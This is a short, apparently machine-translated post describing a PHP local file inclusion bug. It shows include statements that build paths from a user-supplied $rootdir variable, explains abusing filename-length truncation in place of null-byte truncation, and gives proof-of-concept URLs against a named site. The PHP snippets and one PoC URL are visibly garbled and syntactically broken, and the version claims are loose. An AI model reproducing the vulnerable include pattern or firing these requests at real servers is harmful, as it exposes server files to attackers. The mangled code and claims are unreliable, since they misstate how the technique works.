Php include function bug

* Author: ring04h
* Creation Time:

Most of the time, we can audit the following source code:

<? Php
Include cert/. $ rootdir.. php;
?>

How do you get it to include your files?
Can only contain local php scripts?
I can't do it anymore?

When a file is processed by a Windows and Linux file system, when the file name length exceeds the specified limit, the excess characters at the end are truncated.
Here, we can use this feature to implement the % 00 truncation function for php <4.

POC:
Http://dream4.org/include.php? Rootdir = ../info.txt
In this way, the specified file is successfully included.

<? Php
Include $ rootdir./config. inc. php;
?>

Similarly, POC:
Http://dream4.org/include.php? Rootdir1_info.txt

Test environment: Windows server 2008 + Apache/2.2.8 + PHP Version 5.2.6

Bug fix: NO

Note: This BUG should be very old, but I encountered this problem before, so I posted it and forgot it.
I hope everyone can write out interesting ideas. All free!